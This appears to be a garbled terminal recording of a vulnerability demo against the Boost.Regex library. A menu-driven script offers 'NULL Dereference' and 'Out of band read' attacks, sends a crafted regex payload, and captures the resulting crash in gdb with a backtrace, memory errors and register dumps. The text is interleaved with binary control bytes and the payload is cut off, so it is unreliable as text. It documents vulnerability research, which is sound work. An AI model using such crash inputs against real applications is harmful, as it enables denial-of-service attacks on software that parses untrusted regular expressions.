b G: user@vapor|0; c Gpc Gwc Gdc G,% c G%/demos/boost c G}&: user@vapor|0; c G> sc GAod G=ud Grd G+cd Ged G< d Gr .d GDŽ .d G— /d Grde GZcee G{me Guos.sh e G9 e Gqi : demo@vapor|0; f G]hf G 8af Gnf G$df G le_product f G  f G 00. NULL Dereference 01. Out of band read+ select vulnerability: g G! 0g G g GFNULL Dereference selected. payload: (? > >::get_repeat_type (this=0xffffb204, state=0x805d360) at ./boost/regex/v4/basic_regex_creator.hpp:1224 o G T1224 if(state->next.p->next.p->next.p == static_cast(state)->alt.p) o Gw >>p Gbp Gytp G p G#0 0xf7f91227 in boost::re_detail::basic_regex_creator > >::get_repeat_type (this=0xffffb204, state=0x805d360) at ./boost/regex/v4/basic_regex_creator.hpp:1224 #1 0xf7f9c471 in boost::re_detail::basic_regex_creator > >::create_startmaps (this=0xffffb204, state=0x805d360) at ./boost/regex/v4/basic_regex_creator.hpp:805 #2 0xf7f9c5c4 in boost::re_detail::basic_regex_creator > >::finalize (this=0xffffb204, p1=0xffffb374 "(? > >::parse (this=0xffffb204, p1=0xffffb374 "(? > >::assign (this=0x805d008, arg_first=0xffffb374 "(? > >::do_assign (this=0xffffd374, p1=0xffffb374 "(? > >::assign (this=0xffffd374, p1=0xffffb374 "(? > >::assign (this=0xffffd374, p=0xffffb374 "(?>t Gstate->next.p->next.p->next.pu G >>u G00[1@pu G[1@ u G1  u G9 %Cannot access memory at address 0x4 u G:: >>w GBpw G state->next.p->next.p->next.pw Gc  w Gϴ x G x GRt x Gs x G~u  x G  x GVW y G" y G)6$1 = (struct boost::re_detail::re_syntax_base *) 0x0 y G)>>z GIp state->next.p->next.pz G| z Gd  z GZ z G`$2 = {p = 0x0, i = 0x0} z G`>>z G\{ G>W  } GWi} Gn} Gf} G o} Gn  } Go r} Gnd e} Gwg~ G ~ Greax 0x0 0x0 ecx 0x805d36c 0x805d36c edx 0x805d46c 0x805d46c ebx 0xf7ff5a04 0xf7ff5a04 esp 0xffffb0d0 0xffffb0d0 ebp 0xffffb0d8 0xffffb0d8 esi 0x805d360 0x805d360 edi 0xffffd3a0 0xffffd3a0 eip 0xf7f91227 0xf7f91227 > >::get_repeat_type(boost::re_detail::re_syntax_base*)+25> eflags 0x10246 [ PF ZF IF RF ] cs 0x23 0x23 ss 0x2b 0x2b ds 0x2b 0x2b es 0x2b 0x2b fs 0x0 0x0 gs 0x63 0x63 ~ Gΐ>> G" q G7u Gi Gt G GO: demo@vapor|0; G exit